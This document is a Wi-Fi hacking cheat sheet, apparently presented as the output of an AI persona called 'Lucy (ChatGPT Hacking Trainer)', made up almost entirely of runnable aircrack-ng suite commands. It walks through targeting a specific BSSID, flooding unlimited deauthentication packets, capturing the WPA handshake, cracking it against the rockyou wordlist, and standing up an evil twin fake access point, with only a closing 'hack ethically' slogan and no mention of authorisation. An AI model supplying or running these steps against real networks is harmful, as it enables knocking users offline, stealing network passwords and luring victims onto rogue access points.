Wi-Fi Hacking Full Guide – By Lucy (ChatGPT Hacking Trainer)

> Interface: `wlan0` Tools: `airmon-ng`, `airodump-ng`, `aireplay-ng`, `aircrack-ng`, `airbase-ng`, `wireshark`

1. Enable Monitor Mode

```
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# Optional rename
sudo ip link set wlan0 name wlan0mon
```

2. Scan Wi-Fi Networks (New Terminal)

```
sudo airodump-ng wlan0mon
```

Note down:

- BSSID → e.g., `AA:A9:15:07:DF:0C`
- Channel → e.g., `6`

3. Focus Target Network (New Terminal)

```
sudo airodump-ng -w hack1 -c 6 --bssid AA:A9:15:07:DF:0C wlan0mon
```

Keep this running to capture the handshake.

4. Deauthentication Attack (New Terminal)

```
sudo aireplay-ng --deauth 0 -a AA:A9:15:07:DF:0C wlan0mon
```

Sends unlimited disconnect packets to force reauthentication. useing 0

```
sudo aireplay-ng --deauth 10 -a AA:A9:15:07:DF:0C wlan0mon
```

Sends 10 disconnect packets to force reauthentication.

🔍 5. Verify Handshake in Wireshark (Optional)

```
wireshark hack1-01.cap
```

🔑 Use filter: `eapol` ☑ If shown → handshake captured.

🔓 6. Crack Wi-Fi Password

```
aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt
```

✔ If password is found, it will display: `KEY FOUND`.

🧪 Dongle Testing Commands

```
sudo iwconfig wlan0 mode monitor         # Monitor Mode
sudo aireplay-ng --test wlan0           # Injection Test
sudo airodump-ng --band a wlan0         # 5 GHz scan
sudo airodump-ng --band bg wlan0        # 2.4 GHz scan
sudo airodump-ng wlan0                  # All bands
```

🚁 Evil Twin / Fake Access Point

```
sudo airbase-ng -a 00:01:02:03:04:05 --essid "Tarun Papa" -c 11 wlan0
```

Use monitor mode dongle to create fake AP.

🔄 Mode Switch (if needed)

```
sudo iwconfig wlan0 mode monitor  # Enable monitor
sudo iwconfig wlan0 mode managed  # Return to normal
```

📶 Tested Wi-Fi Dongles – Support Table

Model	Chipset	Monitor	Injection	AP Mode	Evil Twin	Notes
Alfa AWUS036NHA	Atheros AR9271	☑	☑	☑	☑	Most stable, widely supported
Alfa AWUS036ACH	RTL8812AU	☑	☑ (driver)	☑	☑	Dual-band, driver needed
TL-WN722N v1	Atheros AR9271	☑	☑	☑	☑	Only v1 supports monitor mode
Panda PAU06	Ralink RT5372	☑	☑	☑	☑	Plug & play
BrosTrend AC1200	RTL8812BU	☑	☑ (driver)	☑	☑	Works with aircrack-ng driver
TP-Link T2U Plus	RTL8821AU/8811AU	☑	☑ (driver)	☑	☑	Manual driver install required

🔧 TP-Link Archer T2U Plus Driver Installation

```
sudo apt update
sudo apt install dkms git build-essential
git clone https://github.com/aircrack-ng/rtl8812au.git
cd rtl8812au
sudo make dkms_install
```

📐 Load the driver:

```
sudo modprobe 8812au
iwconfig
```

🔬 Test injection:

```
sudo aireplay-ng --test wlan0
```

⌨️ Terminal Shortcut Cheats

Action	Shortcut
New Terminal Tab	Ctrl + Shift + T
New Terminal Window	Ctrl + Alt + T

Action	Shortcut
Kill Process	Ctrl + C
Scroll Output	Shift + PageUp/Down

📌 Quick Command Sheet

Task	Command Example
Monitor Mode	`sudo airmon-ng start wlan0`
Scan Networks	`sudo airodump-ng wlan0mon`
Focus Network	`sudo airodump-ng -w hack1 -c 6 --bssid AA:A9:15:07:DF:0C wlan0mon`
Deauth Clients	`sudo aireplay-ng --deauth 10 -a AA:A9:15:07:DF:0C wlan0mon`
Crack Password	`aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt`
Fake AP	`sudo airbase-ng -a 00:01:02:03:04:05 --essid "FakeName" -c 11 wlan0`
Check Handshake	`wireshark hack1-01.cap` → filter: `eapol`

☑ *Guide by Lucy – Your Ethical Hacking Trainer* 🧠 *Learn • Practice • Hack Ethically*